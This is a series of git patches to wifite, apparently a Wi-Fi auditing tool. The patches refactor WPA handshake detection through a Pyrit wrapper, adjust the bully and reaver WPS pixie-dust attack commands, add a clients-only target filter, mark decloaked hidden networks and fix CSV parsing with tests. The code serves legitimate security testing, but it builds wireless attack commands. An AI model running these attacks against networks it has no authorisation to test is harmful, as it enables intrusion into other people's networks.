zICV!i!ed0XLuGwRxwF~SUf%V;1>-}sdYEx@u5X66TH!y!y&rl+?{p%*4u=SR1CcZc z(W1m|U%|L-iJ5)p4YWNbR?t0gnpP3B6^3Y4K%A|e1oxZSD!74miU>D_nY3f31~4w8 z$wG*S<%-qc_GBv0TJ=SYmVC(TwllKWiUMl zM;~j{o*t&$O9UxT!<3VQ6Hz2SiEyHa6Ilh~Y|n}0xwF}Ho9{+gqvYOZ+_D>Cjlf*3 zEcAZa+-6$VOla3O0BW%dK_muq&9w3|>3{-rmE~q!S954rF4lS++Uzm=>|W{O))vjM6^ob1Q0vHLvUt- zh=U&yq)#-P#$kPxO}XVxx@i#mWkaJitug@d6wjvC*Q$NnZqU_Fyj2 zUkGt_97u3xmPTI+wk4*s0JktD>VvlQeMokefPDfg(;_EqcT)qhL)4?07L9Ed= zlEx)ob_*YSECaCJ(lhD@J}d z`?Wy>zdrxRk?ZQc{N3)ml{0VdedP7)KX)zOH|vHkl3(ao{=jGJ>aF^|?TE31@7_Oa z=aF9XfBJc<^UT(2U+x~WcXFG5_T;zPH?nl?ThmHbeY0unCquJyS6uBoW5}nCPN=yC?~SJaqCx&q zJK8U8LH`@wH67eLO)BpS5P$Cd6xP0JlOpjCM~9EZe*=g=|2tuQ$IpnwKWy>OsHW}E z;?{ph-_I>_r2PrQP!!jH3;K$!xB_$I7FvZ`t04}7k3pKcWTnJA??_T`# zq4Eiw8)a_Al;S1A^op2P%3LF2Iw*4^WJ;2Wbs-EyeO%dwBLpK7AbDw-ybDMba_?t>zxl`@Y(CNG|2NyX=%|(cLRGdK#1u>1MU!5K4_9?w8FD}$G7h|8tr1o8Yk*6+NDi zr^#pXBIu@?QcXdeawszaGI`cjO(9d&OoEy`Kl6gtWyI7L9N4XRq+}G4QUT3JJ;>zc zgW7ZnnN(9oOwBuXn+)-eQR3y(L%l<{T$$HfZ;+{Ez>Q;cGZeOFL)$ZqYqYg9-JXWI zvMINqGoI1LeiL#?CjnVNMT zGmkQJA(Q8)8c~MH(=4ExESYY)@doZ7)>72O*IQd*1eQD4KjI}YCH=elb54n zsyPcXd762YIS(>0EMk^X<_ZzBoHEynn10G!51G6i6N@GnJ&`wQB9|aSw@*zkjb;IY6_XE zCc2f@Jn!YyI>Y2ySDD>JntrO;SHzTJgYTrlBBqtgY2ySDEN5Ip%ryQO!LfW*KFod#E%`o^@4I$W%2CK}}xX%c=Ep z5z|kZCn1yPr>ZGrs+#CHnwEE-pHf_)CAOV`2irJLjHK?Q@rszPoKm!mvtJqt2<)>S`+Oui=1dO^^-(heRcr1w#h zQEPj%xGY>L(eyY}mOx5~0sL3liKeavq zGI`cjKPN*bPg9By_Q+?5m{u;6XI=G^(d02z>*#>6d0lf*>kA>1r>XiWWb!q6QF2o2 z=y0;RpDr$w=clS!EYfsSO?0SPv(D30tqYl|<`$^Q%X?1Hx{R3G>Nq_tL|QyXgXb63 zaFvLx<rbs#RbFA&!){mTj2*ddY9DjQzh(9`i#fyJx zw@CcMasGuA&&pM4@BZ0uJ|jnw5wQ3q=CUB?D)yBdCaZ?adf9w zfncs;&h7bJaAO+L-2yE#>(S^7!&w%di`uZ>Q4eMbqM7bES^F>y)l_&ZWkVJj&Ve^^q1@fB>Ztih6U zm9tF938bQB8p<@*lq*G&L z%9YA8^`-BoW!gYorUh*yWg50JZE~$8<;q~0`qIy#t%UQMnXOr-zMkY!P1iLuyRl5Y zp9NI2&wt9)`{|*YgGHKN1Ez`Qa8^^#EDmbgr?Pj!1@cb%!v6u{LTSvOcQr2|Ok)q_ zX+|EpW{9l$g1J;?X&Tx$pKva12r=H<@4Jg$JxI87;fEdA3r#WZn#cO1&r=yK$q=T# z#!=5*%UDf4vplFNqZ{JrtPs8mQ!7c=8dgK^m!JBzR>V|u5W+O}%N4>jwk~fn%)u7c zFTFJhodqXlP{K0x)~u9S#xnJq4$3?vVyf0dm?qXkm?qYbu-5gO&Y+)4xmjIy4uEq) zu9MfQ>N?Fb^`5$d_T>u0@;i5}8m4rJTWHt2GJTwO#S*AV*-fL!3zg!`jCf0kh*7eL{ zYP}E3H1RWpX{;&tH;mu?B5OWc28d};i$<~`ecq@wR|wNsQ=VYx*Hn?U za_UzR%hX%*(C#%KvWZM^!dJ?vJvWYDzeVICFNg<}_iC$h7DXIUz zO3L_|a$R$ox_oTu>ouM97Lq+IQ(sS9lzD(SQBDWKLun8tp|3GBx%0)F99uWU6!TnK?PGJ17S&<{Dy zPy-=QLmv+{FCk20Yc7XK(@W!%&NB6y#gy5CW$OJ@HA9#tn(aiIJ{rG{hVjd0HT2fX zXb$?aOnnZhHCG7JSW|Wz`ZZ8wt(@j4em;@499jk?h8nwB4ZRbiSwLfcl4a^OJv0Z1X)ucsqM^@$YOUg$t@#bDA;kQ7^wPXtyk_PlmZ^_IG1W}2 z&R92L+F7PPDn6>|V3~T&GFk?i)s4ykA?8t0t+im8#@1X}EK{F@a_U!mL%$GW?ibZ? zbz_-&zx*^_{jZrhkY(y~AkiB^hOkV%bt`4&uuK!p5T=P{o=DR{t>?2$y{0qBlqVRL zNdc>&&w*+!glTNeHC?3XqJAN!K|4}-tr{*5%hdbjrq<>fS(6tUA+BYtx;{QRv^18p zOk+P>Axsm^)gsM2YJD@y)N2;dC~P&%>vmQ{p92rIwp+wh{R&|k`{fE@npi);TGwlO zX6w0-gAk@Z2h=ZD2-8?oPB+X!ChM2pnnZ6wX~Q!0)~uA7%`#0i zLzpI-Jw=)hYTeB;^_ot~?9Vdweo{?&pke%muo@=ThOsbXe3ogV8NxKtM4uToZ^a6z_2n#6ujw&h>iwje za)oUruVRkD)b$z-LPz1s9F^K$dB2 z%@xA@Z#3OB2RVj0KnTo%-Y=@*8pSg8e&x`-UOO|7)zn+hqneXhrrvr1&FeJ7yv|@X z^wvDo+AI-M^(%yF?3XKqX>47dXOsgQKuV;d;1^NIDhWc2_jY;SR#R`ioN89E zOueQ*$W$(B@hg#LfI479h;bdrL8op5e`GHy;=L$?QkvagLQ__%$JT2a5|KFc!w%*bvh=!e#7JW@lCPo;!khlo8Wl z#Ch!+=u3zO8Vy)K^tp4=SUXv!-eVVKc4V1)P4_i3RqG*|Cf0ki*7eLBYCVK$?5FHD zjNbs(nqDI>XiY{;S_UN&tYJ2U7}p!;-N7AtfnDAMS$ihA3t^gghQ4h`Jqzi_jTKod zps~!qX68hesrSo6H4CqqS;R8+QSs7Jm}i*R#jJ+juVU&~2-Db_E9853CYq~R>v~Ne zwZ4I6>NU$~UN;)%bqlLuVl9MeVr{FTwUDpW>8+L1yzOWG(p&RW<_VT*q8Y+8)|AoL z*!a(Z+(`T0miB}!!TV280(}~cq&OwC$2RbrCJm4Z-|M>n>79pihdmn~6C*h$k<=$F z+MYD-Xu7?i$BGX}WeN8!p#C-M~n7FN-udxMTEVsRUWWA{Y05dHJmq zq%=1~3re%R-<6t~k& zxGj^_{luA;=^(v=1=>B22hah*!03)3i=hth{v$lihd#GUbgFxy4(#7o zTOBJsgIM?{as4TNqE!s4e{uH?9`wk_M=S|ZG1Ze&?5Rzh3i7h%ni%jeGS@oB*)t~> zoTiM&rzuf}nx|!2qUr6E#F+LE$q;fxtL8APc7zloGX7b)4UogyDh373XGxekZDvx+ z{M04^H=3utXQ^9NrCFsjNJyy@+L9ToxuE`E|Ixuvd}K6u8k8Ia?S;y!ZH8oVkRoSt z27@mb$4W0C%lKCq#Vtf6w0bqZf}*e}Dq4Cl3Qc9BawUJ3w;RUR>X=)3JZjhjm-oG1 z_}To+FMrZ+g>%D07b^2UzVYcBg1mp@KiJ(we;rjBI-2s-G^s{Q2&M^_wp%U-I+S2d*|ba3tq?QU!&s1FWr1o_QWpVP3rW?h2JDQzjBg#hFsOM2kV)f94CE?OyD2CG^}iC zydNc(s-+S2@0Ld92W<5l{=!qc##gIo`C^BUkN(yC$0sHCyk0pUf7{~+xz-=g_iXTS z?80S@PPd+TtVw0phq5<5;(5H+eScTmdb-O4&3EOs$hXARN&e>kXWmz8w*7F&6uGJE z(kDYdnlOIUiybE4HovOYh1RX|Mv;89O4|q#df5q1Q@tWiYKVNnzcOx<=6fRAf*g)R z86rl`Kq*)y(hl=(n80bQ!?kl?CDJ%BW0IV!A?#d=T$BhL<2~*!bl*NYM~(xDjU>-y zH@<7HetAW8W{TxvOp7`XR|N3DzXk5hsI32?DHgV(V(%pBKWZocR~(=xRb~T-KN>Fb z;yv&*dR4_IF-t|=M$~xeolB_Z5Bl-(7|C@tP)CE0w?9enta#m?J~v06l`u_5 o$~|fb;$Q6kdub&8;d)l0Q2e!bD17D13q&R3bH8=|e{aeBe|Pt>$p8QV literal 0 HcmV?d00001 diff --git a/wifite/model/handshake.py b/wifite/model/handshake.py index e017032fd..656be89a2 100755 --- a/wifite/model/handshake.py +++ b/wifite/model/handshake.py @@ -4,6 +4,7 @@ from ..util.process import Process from ..util.color import Color from ..tools.tshark import Tshark +from ..tools.pyrit import Pyrit import re, os @@ -67,9 +68,6 @@ def has_handshake(self): return False - def tshark_bssid_essid_pairs(self): - '''Returns list of tuples: (bssid,essid) found in capfile''' - def tshark_handshakes(self): ''' Returns True if tshark identifies a handshake, False otherwise ''' tshark_bssids = Tshark.bssids_with_handshakes(self.capfile, bssid=self.bssid) @@ -98,54 +96,9 @@ def cowpatty_handshakes(self): return [] - def pyrit_command(self): - return [ - 'pyrit', - '-r', self.capfile, - 'analyze' - ] - def pyrit_handshakes(self): - ''' Returns True if pyrit identifies a handshake, False otherwise ''' - if not Process.exists('pyrit'): - return [] - - bssid_essid_pairs = set() - hit_target = False - current_bssid = self.bssid - current_essid = self.essid - proc = Process(self.pyrit_command(), devnull=False) - for line in proc.stdout().split('\n'): - mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] - match = re.search("^#\d+: AccessPoint (%s) \('(.*)'\):$" - % (mac_regex), line) - if match: - # We found a BSSID and ESSID - (bssid, essid) = match.groups() - - # Compare to what we're searching for - if self.bssid and self.bssid.lower() == bssid.lower(): - current_essid = essid - hit_target = True - continue - - elif self.essid and self.essid == essid: - current_bssid = bssid - hit_target = True - continue - - elif not self.bssid and not self.essid: - # We don't know either - current_bssid = bssid - current_essid = essid - hit_target = True - else: - hit_Target = False # This AccessPoint is not what we're looking for - else: - # Line does not contain AccessPoint - if hit_target and ', good' in line: - bssid_essid_pairs.add( (current_bssid, current_essid) ) - return [x for x in bssid_essid_pairs] + ''' Returns list of BSSID,ESSID tuples if pyrit identifies a handshake''' + return Pyrit.bssid_essid_with_handshakes(self.capfile, bssid=self.bssid, essid=self.essid) def aircrack_handshakes(self): diff --git a/wifite/tools/pyrit.py b/wifite/tools/pyrit.py new file mode 100644 index 000000000..740da5ef0 --- /dev/null +++ b/wifite/tools/pyrit.py @@ -0,0 +1,59 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +from ..util.process import Process +import re + +class Pyrit(object): + ''' Wrapper for Pyrit program. ''' + + def __init__(self): + pass + + @staticmethod + def exists(): + return Process.exists('pyrit') + + @staticmethod + def bssid_essid_with_handshakes(capfile, bssid=None, essid=None): + if not Pyrit.exists(): + return [] + + command = [ + 'pyrit', + '-r', capfile, + 'analyze' + ] + pyrit = Process(command, devnull=False) + + current_bssid = current_essid = None + bssid_essid_pairs = set() + + ''' + #1: AccessPoint 18:a6:f7:31:d2:06 ('TP-LINK_D206'): + #1: Station 08:66:98:b2:ab:28, 1 handshake(s): + #1: HMAC_SHA1_AES, good, spread 1 + #2: Station ac:63:be:3a:a2:f4 + ''' + + for line in pyrit.stdout().split('\n'): + mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] + match = re.search("^#\d+: AccessPoint (%s) \('(.*)'\):$" % (mac_regex), line) + if match: + # We found a new BSSID and ESSID + (current_bssid, current_essid) = match.groups() + + if bssid is not None and bssid.lower() != current_bssid: + current_bssid = None + current_essid = None + elif essid is not None and essid != current_essid: + current_bssid = None + current_essid = None + + elif current_bssid is not None and current_essid is not None: + # We hit an AP that we care about. + # Line does not contain AccessPoint, see if it's "good" + if ', good' in line: + bssid_essid_pairs.add( (current_bssid, current_essid) ) + + return list(bssid_essid_pairs) From 5db801b4149eb2694354a1d51754b65224b4c518 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 1 Apr 2018 01:03:10 -0400 Subject: [PATCH 15/52] Cleaning up handshake code --- wifite/model/handshake.py | 33 ++++++++++----------------------- 1 file changed, 10 insertions(+), 23 deletions(-) diff --git a/wifite/model/handshake.py b/wifite/model/handshake.py index 656be89a2..dd89415c0 100755 --- a/wifite/model/handshake.py +++ b/wifite/model/handshake.py @@ -119,17 +119,10 @@ def analyze(self): '''Prints analysis of handshake capfile''' self.divine_bssid_and_essid() - pairs = self.tshark_handshakes() - Handshake.print_pairs(pairs, self.capfile, 'tshark') - - pairs = self.pyrit_handshakes() - Handshake.print_pairs(pairs, self.capfile, 'pyrit') - - pairs = self.cowpatty_handshakes() - Handshake.print_pairs(pairs, self.capfile, 'cowpatty') - - pairs = self.aircrack_handshakes() - Handshake.print_pairs(pairs, self.capfile, 'aircrack') + Handshake.print_pairs(self.tshark_handshakes(), self.capfile, 'tshark') + Handshake.print_pairs(self.pyrit_handshakes(), self.capfile, 'pyrit') + Handshake.print_pairs(self.cowpatty_handshakes(), self.capfile, 'cowpatty') + Handshake.print_pairs(self.aircrack_handshakes(), self.capfile, 'aircrack') def strip(self, outfile=None): @@ -168,27 +161,21 @@ def print_pairs(pairs, capfile, tool=None): Prints out BSSID and/or ESSID given a list of tuples (bssid,essid) ''' tool_str = '' - if tool: + if tool is not None: tool_str = '{C}%s{W}: ' % tool.rjust(8) if len(pairs) == 0: - Color.pl("{!} %s.cap file {R}does not{O} contain a valid handshake{W}" - % (tool_str)) + Color.pl("{!} %s.cap file {R}does not{O} contain a valid handshake{W}" % (tool_str)) return for (bssid, essid) in pairs: + out_str = '{+} %s.cap file {G}contains a valid handshake{W} for' % tool_str if bssid and essid: - Color.pl('{+} %s.cap file' % tool_str + - ' {G}contains a valid handshake{W}' + - ' for {G}%s{W} ({G}%s{W})' % (bssid, essid)) + Color.pl('%s {G}%s{W} ({G}%s{W})' % (out_str, bssid, essid)) elif bssid: - Color.pl('{+} %s.cap file' % tool_str + - ' {G}contains a valid handshake{W}' + - ' for {G}%s{W}' % bssid) + Color.pl('%s {G}%s{W}' % (out_str, bssid)) elif essid: - Color.pl('{+} %s.cap file' % tool_str + - ' {G}contains a valid handshake{W}' + - ' for ({G}%s{W})' % essid) + Color.pl('%s ({G}%s{W})' % (out_str, essid)) if __name__ == '__main__': From e8c0843bdff44c0a7e9c24fd0dd32f934cc92bad Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 1 Apr 2018 01:09:57 -0400 Subject: [PATCH 16/52] Use stdbuf only if it exists --- wifite/tools/bully.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/wifite/tools/bully.py b/wifite/tools/bully.py index 103f40841..c0a19f996 100755 --- a/wifite/tools/bully.py +++ b/wifite/tools/bully.py @@ -26,8 +26,14 @@ def __init__(self, target): self.target = target - self.cmd = [ - "stdbuf", "-o0", # No buffer. See https://stackoverflow.com/a/40453613/7510292 + self.cmd = [] + + if Process.exists('stdbuf'): + self.cmd.extend([ + "stdbuf", "-o0" # No buffer. See https://stackoverflow.com/a/40453613/7510292 + ]) + + self.cmd.extend([ "bully", "--bssid", target.bssid, "--channel", target.channel, @@ -36,7 +42,7 @@ def __init__(self, target): "-v", "4", "--pixiewps", Configuration.interface - ] + ]) self.bully_proc = None From a4110b4cf9ee9ba649deb8947325e431919ad336 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 1 Apr 2018 15:23:56 -0400 Subject: [PATCH 17/52] Put quotes around Tshark filter ... otherwise tshark locks up --- wifite/tools/tshark.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/wifite/tools/tshark.py b/wifite/tools/tshark.py index 823f294d6..ff61af0d8 100755 --- a/wifite/tools/tshark.py +++ b/wifite/tools/tshark.py @@ -116,9 +116,9 @@ def bssid_essid_pairs(capfile, bssid): command = [ 'tshark', '-r', capfile, # Path to cap file - # Extract beacon frames - '-Y', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05', '-n', # Don't resolve addresses + # Extract beacon frames + '-Y', '"wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05"', ] tshark = Process(command, devnull=False) From 57ad097d49d29073107566513ef378492b1eb6b5 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 1 Apr 2018 15:31:12 -0400 Subject: [PATCH 18/52] --check: Detect BSSID based on Wifite's handshake filename format. --- wifite/model/handshake.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/wifite/model/handshake.py b/wifite/model/handshake.py index dd89415c0..d7265ba01 100755 --- a/wifite/model/handshake.py +++ b/wifite/model/handshake.py @@ -20,6 +20,12 @@ def divine_bssid_and_essid(self): Sets this instances 'bssid' and 'essid' instance fields. ''' + if self.bssid is None: + hs_regex = re.compile(r"^.*handshake_\w+_([0-9A-F\-]{17})_.*\.cap$", re.IGNORECASE) + match = hs_regex.match(self.capfile) + if match: + self.bssid = match.group(1).replace('-', ':') + # Get list of bssid/essid pairs from cap file pairs = Tshark.bssid_essid_pairs(self.capfile, bssid=self.bssid) From 699578abed6fd5811933fd13a73503f6da93e297 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 1 Apr 2018 15:57:58 -0400 Subject: [PATCH 19/52] Allow spaces in target selection (e.g. 3, 4, 7-8) --- wifite/util/scanner.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/wifite/util/scanner.py b/wifite/util/scanner.py index 33d8eb9e8..8162c7104 100755 --- a/wifite/util/scanner.py +++ b/wifite/util/scanner.py @@ -199,7 +199,8 @@ def select_targets(self): chosen_targets = [] for choice in raw_input(Color.s(input_str)).split(','): - if choice == 'all': + choice = choice.strip() + if choice.lower() == 'all': chosen_targets = self.targets break if '-' in choice: From e0ec0e72b27d885b952d7d74dea4397500b4285b Mon Sep 17 00:00:00 2001 From: derv82 Date: Fri, 6 Apr 2018 15:55:58 -0400 Subject: [PATCH 20/52] Change version to 2.1.0 See https://github.com/derv82/wifite/issues/130 for more info. --- wifite/config.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/wifite/config.py b/wifite/config.py index 6ac57a1d8..325259707 100755 --- a/wifite/config.py +++ b/wifite/config.py @@ -12,7 +12,7 @@ class Configuration(object): initialized = False # Flag indicating config has been initialized temp_dir = None # Temporary directory - version = 2.00 + version = '2.1.0' @staticmethod def initialize(load_interface=True): From b716e6099f738286c0ada1cb60ed19beabbc71fa Mon Sep 17 00:00:00 2001 From: derv82 Date: Fri, 6 Apr 2018 16:21:30 -0400 Subject: [PATCH 21/52] Don't specify reaver timeout (was 4s, default is 10s) --- wifite/tools/reaver.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/wifite/tools/reaver.py b/wifite/tools/reaver.py index 1bf9586e0..d70014034 100755 --- a/wifite/tools/reaver.py +++ b/wifite/tools/reaver.py @@ -34,9 +34,6 @@ def run_pixiedust_attack(self): '--bssid', self.target.bssid, '--channel', self.target.channel, '--pixie-dust', '1', # pixie-dust attack - '--timeout', '4', # Stop waiting after 4 seconds - #'--delay', '0', - #'--no-nacks', '--session', '/dev/null', # Don't restart session '-vv' # (very) verbose ] From 2b7870cb7c04297ef3d369b7179eb743340f4faf Mon Sep 17 00:00:00 2001 From: derv82 Date: Fri, 6 Apr 2018 17:25:31 -0400 Subject: [PATCH 22/52] 2.1.1: Option to ignore APs without clients (--clients-only or -co) Requested in #79 --- wifite/args.py | 5 +++++ wifite/config.py | 6 +++++- wifite/tools/airodump.py | 2 ++ 3 files changed, 12 insertions(+), 1 deletion(-) diff --git a/wifite/args.py b/wifite/args.py index 4e5918530..3416403a5 100755 --- a/wifite/args.py +++ b/wifite/args.py @@ -118,6 +118,11 @@ def _add_global_args(self, glob): help=self._verbose('Hides targets with ESSIDs that match the given text')) glob.add_argument('--ignore-essid', help=argparse.SUPPRESS, action='store', dest='ignore_essid', type=str) + glob.add_argument('--clients-only', '-co', + action='store_true', + dest='clients_only', + help=Color.s('Only show targets that have associated clients (default: {G}off{W})')) + glob.add_argument('--showb', action='store_true', dest='show_bssids', diff --git a/wifite/config.py b/wifite/config.py index 325259707..225a36eed 100755 --- a/wifite/config.py +++ b/wifite/config.py @@ -12,7 +12,7 @@ class Configuration(object): initialized = False # Flag indicating config has been initialized temp_dir = None # Temporary directory - version = '2.1.0' + version = '2.1.1' @staticmethod def initialize(load_interface=True): @@ -40,6 +40,7 @@ def initialize(load_interface=True): Configuration.target_essid = None # User-defined AP name Configuration.target_bssid = None # User-defined AP BSSID Configuration.ignore_essid = None # ESSIDs to ignore + Configuration.clients_only = False # Only show targets that have associated clients Configuration.five_ghz = False # Scan 5Ghz channels Configuration.show_bssids = False # Show BSSIDs in targets list Configuration.random_mac = False # Should generate a random Mac address at startup. @@ -150,6 +151,9 @@ def load_from_arguments(): if args.ignore_essid is not None: Configuration.ignore_essid = args.ignore_essid Color.pl('{+} {C}option:{W} {O}ignoring ESSIDs that include {R}%s{W}' % args.ignore_essid) + if args.clients_only == True: + Configuration.clients_only = True + Color.pl('{+} {C}option:{W} {O}ignoring targets that do not have associated clients') if args.scan_time: Configuration.scan_time = args.scan_time Color.pl('{+} {C}option:{W} ({G}pillage{W}) attack all targets after {G}%d{W}s' % args.scan_time) diff --git a/wifite/tools/airodump.py b/wifite/tools/airodump.py index aa79aa59b..91786c0ec 100755 --- a/wifite/tools/airodump.py +++ b/wifite/tools/airodump.py @@ -237,6 +237,8 @@ def filter_targets(targets, skip_wps=False): result = [] # Filter based on Encryption for target in targets: + if Configuration.clients_only and len(target.clients) == 0: + continue if 'WEP' in Configuration.encryption_filter and 'WEP' in target.encryption: result.append(target) elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption: From cef4c451fe53e3d8feaf9ca07c47178065e7c95c Mon Sep 17 00:00:00 2001 From: derv82 Date: Fri, 6 Apr 2018 17:29:09 -0400 Subject: [PATCH 23/52] Better help messages for -v and -i --- wifite/args.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/wifite/args.py b/wifite/args.py index 3416403a5..13b0046ba 100755 --- a/wifite/args.py +++ b/wifite/args.py @@ -49,14 +49,14 @@ def _add_global_args(self, glob): action='count', default=0, dest='verbose', - help=Color.s('Shows more options ({C}-h -v{W}). Prints tool outputs. (default: {G}quiet{W})')) + help=Color.s('Shows more options ({C}-h -v{W}). Prints commands and outputs. (default: {G}quiet{W})')) glob.add_argument('-i', action='store', dest='interface', metavar='[interface]', type=str, - help=Color.s('Wireless interface to use (default: {G}ask{W})')) + help=Color.s('Wireless interface to use (default: {G}choose first or ask{W})')) glob.add_argument('-c', action='store', From 20ea673a3d16bc6fe4834f83f6d74a44363566db Mon Sep 17 00:00:00 2001 From: derv82 Date: Fri, 6 Apr 2018 18:44:46 -0400 Subject: [PATCH 24/52] 2.1.2: Quiet decloak. Support ESSIDs with commas and trailing spaces Decloaked ESSIDs will have a "*" next to their name. For #78 While testing, I found that Wifite did not parse Airodump's CSV correctly. Specifically, ESSIDs with commas or trailing spaces. Fixed in this commit. Also fixed hidden ESSID detection introduced by the new CSV parsing logic. --- tests/files/airodump-weird-ssids.csv | 13 +++++++ tests/test_Airodump.py | 52 ++++++++++++++++++++++++++++ wifite/config.py | 2 +- wifite/model/target.py | 14 ++++++-- wifite/tools/airodump.py | 12 ++++--- wifite/util/scanner.py | 9 +++-- 6 files changed, 89 insertions(+), 13 deletions(-) create mode 100644 tests/files/airodump-weird-ssids.csv create mode 100644 tests/test_Airodump.py diff --git a/tests/files/airodump-weird-ssids.csv b/tests/files/airodump-weird-ssids.csv new file mode 100644 index 000000000..ac57f395e --- /dev/null +++ b/tests/files/airodump-weird-ssids.csv @@ -0,0 +1,13 @@ + +BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key +AA:BB:CC:DD:EE:FF, 2018-04-06 18:21:23, 2018-04-06 18:21:24, 10, 54, WPA2, CCMP,PSK, -34, 5, 0, 0. 0. 0. 0, 24, Comma\, no trailing space, +AA:BB:CC:DD:EE:FF, 2018-04-06 18:19:17, 2018-04-06 18:19:19, 10, 54, WPA2, CCMP,PSK, -35, 18, 0, 0. 0. 0. 0, 20, \"Quoted ESSID\, Comma\, no trailing spaces. \", +AA:BB:CC:DD:EE:FF, 2018-04-06 18:35:29, 2018-04-06 18:35:30, 10, 54, WPA2, CCMP,PSK, -31, 12, 0, 0. 0. 0. 0, 22, "Comma\, Trailing space ", +AA:BB:CC:DD:EE:FF, 2018-04-06 18:22:45, 2018-04-06 18:22:46, 10, 54, WPA2, CCMP,PSK, -29, 15, 0, 0. 0. 0. 0, 30, "\"quote\" comma\, trailing space ", +AA:BB:CC:DD:EE:FF, 2018-04-06 18:50:11, 2018-04-06 18:50:17, 10, 54, WPA2, CCMP,PSK, -20, 43, 0, 0. 0. 0. 0, 19, \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00, + + + + +Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs + diff --git a/tests/test_Airodump.py b/tests/test_Airodump.py new file mode 100644 index 000000000..5d085b69c --- /dev/null +++ b/tests/test_Airodump.py @@ -0,0 +1,52 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +import sys +sys.path.insert(0, '..') + +from wifite.tools.airodump import Airodump + +import unittest + +class TestAirodump(unittest.TestCase): + ''' Test suite for Wifite's interaction with the Airodump tool ''' + + + def test_airodump_weird_characters(self): + csv_filename = self.getFile('airodump-weird-ssids.csv') + targets = Airodump.get_targets_from_csv(csv_filename) + + target = targets[0] + expected = 'Comma, no trailing space' + assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) + + target = targets[1] + expected = '"Quoted ESSID, Comma, no trailing spaces. "' + assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) + + target = targets[2] + expected = 'Comma, Trailing space ' + assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) + + target = targets[3] + expected = '"quote" comma, trailing space ' + assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) + + # Hidden access point + target = targets[4] + assert target.essid_known == False, 'ESSID full of null characters should not be known' + expected = None + assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) + assert target.essid_len == 19, 'ESSID length shold be 19, but got %s' % target.essid_len + + + def getFile(self, filename): + ''' Helper method to parse targets from filename ''' + import os, inspect + this_file = os.path.abspath(inspect.getsourcefile(self.getFile)) + this_dir = os.path.dirname(this_file) + return os.path.join(this_dir, 'files', filename) + + +if __name__ == '__main__': + unittest.main() diff --git a/wifite/config.py b/wifite/config.py index 225a36eed..d434de10a 100755 --- a/wifite/config.py +++ b/wifite/config.py @@ -12,7 +12,7 @@ class Configuration(object): initialized = False # Flag indicating config has been initialized temp_dir = None # Temporary directory - version = '2.1.1' + version = '2.1.2' @staticmethod def initialize(load_interface=True): diff --git a/wifite/model/target.py b/wifite/model/target.py index 3d79c87bf..e7648d76d 100755 --- a/wifite/model/target.py +++ b/wifite/model/target.py @@ -52,14 +52,18 @@ def __init__(self, fields): self.essid_known = True self.essid_len = int(fields[12].strip()) - self.essid = fields[13].strip() - if self.essid == '\\x00' * self.essid_len or self.essid.strip() == '': + self.essid = fields[13] + if self.essid == '\\x00' * self.essid_len or \ + self.essid == 'x00' * self.essid_len or \ + self.essid.strip() == '': # Don't display "\x00..." for hidden ESSIDs self.essid = None # '(%s)' % self.bssid self.essid_known = False self.wps = None + self.decloaked = False # If ESSID was hidden but we decloaked it. + self.clients = [] self.validate() @@ -84,7 +88,7 @@ def to_str(self, show_bssid=False): Specifically formatted for the "scanning" table view. ''' - max_essid_len = 25 + max_essid_len = 24 essid = self.essid if self.essid_known else "(%s)" % self.bssid # Trim ESSID (router name) if needed if len(essid) > max_essid_len: @@ -99,6 +103,10 @@ def to_str(self, show_bssid=False): # Unknown ESSID essid = Color.s("{O}%s" % essid) + # Add a "*" if we decloaked the ESSID + decloaked_char = '*' if self.decloaked else ' ' + essid += Color.s("{P}%s" % decloaked_char) + if show_bssid: bssid = Color.s('{O}%s ' % self.bssid) else: diff --git a/wifite/tools/airodump.py b/wifite/tools/airodump.py index 91786c0ec..ccfa72dcf 100755 --- a/wifite/tools/airodump.py +++ b/wifite/tools/airodump.py @@ -45,7 +45,7 @@ def __init__(self, interface=None, channel=None, encryption=None,\ # For tracking decloaked APs (previously were hidden) self.decloaking = False - self.decloaked_targets = [] + self.decloaked_bssids = set() self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth @@ -161,7 +161,8 @@ def get_targets(self, apply_filter=True): if old_target.bssid != new_target.bssid: continue if new_target.essid_known and not old_target.essid_known: # We decloaked a target! - self.decloaked_targets.append(new_target) + new_target.decloaked = True + self.decloaked_bssids.add(new_target.bssid) if self.pid.poll() is not None: raise Exception('Airodump has stopped') @@ -185,7 +186,11 @@ def get_targets_from_csv(csv_filename): if type(line) is bytes: line = line.decode('utf-8') line = line.replace('\0', '') lines.append(line) - csv_reader = csv.reader(lines, delimiter=',') + csv_reader = csv.reader(lines, + delimiter=',', + quoting=csv.QUOTE_ALL, + skipinitialspace=True, + escapechar='\\') hit_clients = False for row in csv_reader: @@ -317,4 +322,3 @@ def deauth_hidden_targets(self): Color.pl(' 